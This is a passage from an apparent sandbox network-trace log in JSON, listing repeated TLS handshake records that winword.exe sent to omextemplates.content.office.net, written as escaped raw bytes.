-z\\xd2k\\xf2\\xec{'\\xc5\\xac\\xfc\\xe2+\\xd1\\xd5\\x1e4:\\x95\\x8e\\xb5$|\\x90^\\x90\\xd5q\\xfd.\\x8c\\xafw\\xcb\\x15\\xa3\\xd5\\xbfk\\xbc\\xc4j\\xa5\\x02\\xdcb\\xde\\xf4\\x06#\\x08\\xad=\\xdbq\\xd0\\xa5\\x0f\\xda\\x1e\\x074\\xff\\xf9\\x12\\x04\\xcc1\\x848\\xb3\\\\xef\\x85\\xbd0\\x08\\x9e/\\xces{\\xc0\\xccfj\r(\\x04\\xdf\\xbe\\xcc\\xe8rt\\xb4\\xb5+\\x90\\xf54\\xd3\\x9b\\x0c\\x08\\x82\\x15\\xc2\\xa6\\xef\\x1dfiw\\xc6]m[\\xecld\\xc8\\xa6\\xa1\\xe0\\xcc\\xecxy$a\\xb8:3\\x1ath\\x8a\\xe1\\x1d.1"
  350. },
  351. {
  352. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xe4$a\\x8b\\x1e\\xe1\\xbf\\x03\\x95\\x9cfy\\x84\\xdc\\x88uew\\xc4z7'\\x17\\xfdqw.\\x8b\\xc9\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  353. },
  354. {
  355. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xe4\\x80\\xdd\\x85\\x94\\xed/,ax\\x8b\\xdc>\\xd0\\x86\\x11\\xc2l\\x9c\\xb2<\\x98\\xf9\\xea|\\xa2\\x8e\\xd2\\x88\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  356. },
  357. {
  358. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xe4\\xc23=\"\\x8d\\xbb\\xba\\xd4\\xd6v\\x96\\x94x\\xbcve\\xb2\\xe3k!\\x0b\\x86x\\xc3wf\\x1c>\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  359. },
  360. {
  361. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xe4j\\xcdg`\\xefx\\xb2gxl\\xe9\\x1a\\xb6)t\\x17\\xe4`i$\\x1dm\\x14b\\x91\\xc6t\\x18\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  362. },
  363. {
  364. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xe4\\xfc|\\xcb\\x81\\x93\\xabd:\\x109\\xcf>\\xf4j\\xb6\\xc4\\xd5\\xd3\\x02\\xaf\\xfa@\\xfa\\xab\\x07\\xd0c\\xab\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  365. },
  366. {
  367. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xe4gn\\x15z\\x90\\xfd?\\xa8\\x00\\xa4\\xd1\\xbb\\xb3\\xbb/\\xde\\xaa,\\xb5\\x14\\x0e\\x9f\\xe9\\x1b\\xa5<ee\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  368. },
  369. {
  370. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xe4(}\\xd9\\xf3\\xd1\\x9b\\xc7\\xc0\\x88%\\xc7\\xd3:\\x10=\\xd6<o\\xd6hq'\\x8d\\xffuz\\x9d\\xb6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  371. },
  372. {
  373. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xe4]8er\\x17\\xdes\\x88\\x15\\x8b\\xb5\\x86i\\x08+\ru\\xc8|\\xd9\"\\xb7,\\xf9\\xf6>\\xff(\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  374. },
  375. {
  376. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xe4\\x07\\xb1\\xe2\\xd9\\x96\\xad\\xff\\xa8i\\x1a\\x16n^\\x9a\\x8c\\x17\\xb1l\\xca|\\xb7s\\xfd\\xe9\\x99&\\xc8u\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  377. },
  378. {
  379. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xe4\\x01\\xfe\\xf3\\x96-\\xabl\\xa0\\x9e\\xb8\\xd0\\xc3\\xbb\\xecz\\xc8\\xfa\\x16\\xe6\\x11\\xae\\xed?\\xfa\\x19\\xe6\\x18}\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  380. },
  381. {
  382. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xe4\\xee\\xc7\\x13\\xcf\\xbb\\xe3n\\xf3\\x96\\x83dd\\xd5rqt\\x03\\xa1k$\\xc4\\xbfs\\xe6+\\xcf\\xd5\\x17\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  383. },
  384. {
  385. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xe4\t\\xdbg\\xd3\\xb2~eg\\x81\\xa6\\x8e\\xdcy\\xad2\\xcbz\\x033:\\x8a\\x84\\x88\\x0f\\xc5\\x1fl\\x03\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  386. },
  387. {
  388. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xe4\\x9c\\x00\\xe5\\xcd\\xf3~m\\xab?%\\xde\\xd6bkr(>\\xd1ky\\xe7tf\\x84\\x95\\xbb\\x825\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  389. },
  390. {
  391. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xe4x\\xc8x\\xae\\xe0\\x1bysp`\\xbf\\xa2\\x98\\xfc\\x1d\\xf2j\\xa1\\x95\\x94\\xcd\\x06\\xd8wz\\xcd8\\xb7\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  392. },
  393. {
  394. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xe4\\xd6\\xe2\\x0bz\\xbb?\\xb4\\x04\\xa4]\\x1e\\xb4-\\x1f\\x9b\\xda\\x82\\x17_\\xf7\\xdf\\x18\\xfa\\xab\\x9c\\xa7\\x8b\\x19\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  395. },
  396. {
  397. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xe4\\xd1-9\\x0b\"j\\xf5\\xe8\\x8b\\xf9\\xd4s\\x8cv\\x88\\xfb*\\x80\\xa1\\x17\\x07\\x98\\xba\\xe3vv\\x10\\xb7\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  398. },
  399. {
  400. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xe4\\xe2\\x11\n(xz\\xea\\x10\\xbd\\xc6\\xbc]\\xb1|\\xe6\\xe7$c\\x1d@\\xd4\\xed\\xbe\\xae?\\xb211\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  401. },
  402. {
  403. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xe4\\xad\\xe4>\\x8e1g\\xc5~\\x81\\xf9rv_g\\xdf\\xde\\x1e\\x11\\x872jn\\xa0s\\xe9jve\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  404. },
  405. {
  406. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xe4m\\x9d\\xeby\\xf1\\x9d\\xcbs'\\\\x89\\xef\tks\\x96\\xf8~\\xf3u*\\xbc{e2xq+\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  407. },
  408. {
  409. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xe4\\xf0\\x11\\xb3/\\x13\\x9f\\xa8`\\x92\\xd16\\xe7\\xba\\x15\\x92o\\x0c\\xb3'\\x07\\xd4x`\\xebw+\\xa5\\xa3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  410. },
  411. {
  412. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed\\x8f\\xc5\\x81\\xa1\\xe2o\\x92h\\xf4u\\xb4\\xd2\\xee\\x9b\\xf3.(c\\xe0\\x0b\\xa60\\xdd\\x9a\\xf7r-w\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  413. },
  414. {
  415. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed\\x05\\xde\\xeed\\x90\\x82v\\xc8\\xa6\\x892\\xac?me\\xeao\\xc9\\xd0\\xa5pv\\xf0\\xca\\x92\\xadk\\xac\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  416. },
  417. {
  418. "http_request": "winword.exe_WSASend_\\xfa\\x02\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed\\xc4\\x1e&\\xdbu\\xed\\xce>\\xcc\\x9e\\xbf9\\xa1u\\x1d\\xf7\\x19\\x80\\xf5\\xaf-\\x01{\\xa8\\xd9\\xef@\\xe0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  419. },
  420. {
  421. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed\\xeb\\x1fb\\xab\\xe0\\xd6<3\\xe5@\\xf9z\\xac\\xb1~\\xf6j\\x05\\x8b\\xe3:\\x9e{\\x8a\\x10\\xe5\\x17\\x04\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  422. },
  423. {
  424. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed\\x80\\xf3\\xb7\\xc9\\xa2\\xe6\\xa3\\xc0\\p\\x00`\\xe7r}\\x05\\xe4\\xc4b\\xf4\\xcbs{[\\x9f(s\\x85\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  425. },
  426. {
  427. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed6e\\x7fl\\xb8\\x01\\x90\\xb7\\xf3\\xf6\\xf3n\\xb36g-\\x96\\7c\\xa8if&\\xc1\\xedhe\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  428. },
  429. {
  430. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed\\xad\\xf1kt\\xac\\x00\\xc5w\\xbd5f\\xf2s\\x02@\\x0e\\xb8-3x\\xc1\\xe3\\x8a\\x8a\\xa2\\xeb\\x9c\\xdb\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  431. },
  432. {
  433. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xedo\\x1b\\x06t\\x16\\x97\\x1d\\xa2\\xdb\\xe5\\xe7_`\\x90a=7kh/1\\xf7\\x865s\nun\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  434. },
  435. {
  436. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xedz\\xcd\\x97=j6i\\x83\\xc4\\xe5\\xeck[\n<j\\x16\\xc2{3\\xbc?n=\\x17\\xf3\\xbcy\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  437. },
  438. {
  439. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed\\x1c3\\xa0t\\x17fr6\\xd5x\\xfef\\xfe\\xf2z\\xeb\\xe5w\\xb4w\\x82n\\x04\\x18g\\xb9\\xd0\\xc1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  440. },
  441. {
  442. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed\\xc7r\\xe4e\\xd7n\\x0f\\xe9\\xbfir~\\x82\\xf6\\xad\\xfb/\\xbcw\\x83\\xaa\\x1d\\xf3&$\\xc3{u\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  443. },
  444. {
  445. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed(\\x87\\xf0-\\xaa\\xd6vs\\x1bh\\xab\",\\x03[\\xf2\\x06-?yp\\xa1\\x85\\x7f\\x8b\\xcf\\x18z\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  446. },
  447. {
  448. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed\\xf8}\\x0f\\x10\\xee+\\xc7\\x86\\x1d\\x90\\xae\\x01j\\x06\\xf5\\xf0\r=\\xd1\\xfe\\xc1\\xf2\\xc7{\r\\xf2\\x03\\x03\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  449. },
  450. {
  451. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xeds$(_u\\x0c\\xb3\\x03g\\x8b\\x9e;;\\x970\\xad\\xc3\\xbce\\x01\\xd4\\xec\\xf9c\\xee\\xfdat\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  452. },
  453. {
  454. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed\\xe7=\\xb2\\xa8\\xbf\\xe6\\x9f{dp\\xa8m\\xe4m\\xbd&u\\x1c\\x17\\xa7v\\x00\\x9d2\\x80\\xaf\\x0cx\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  455. },
  456. {
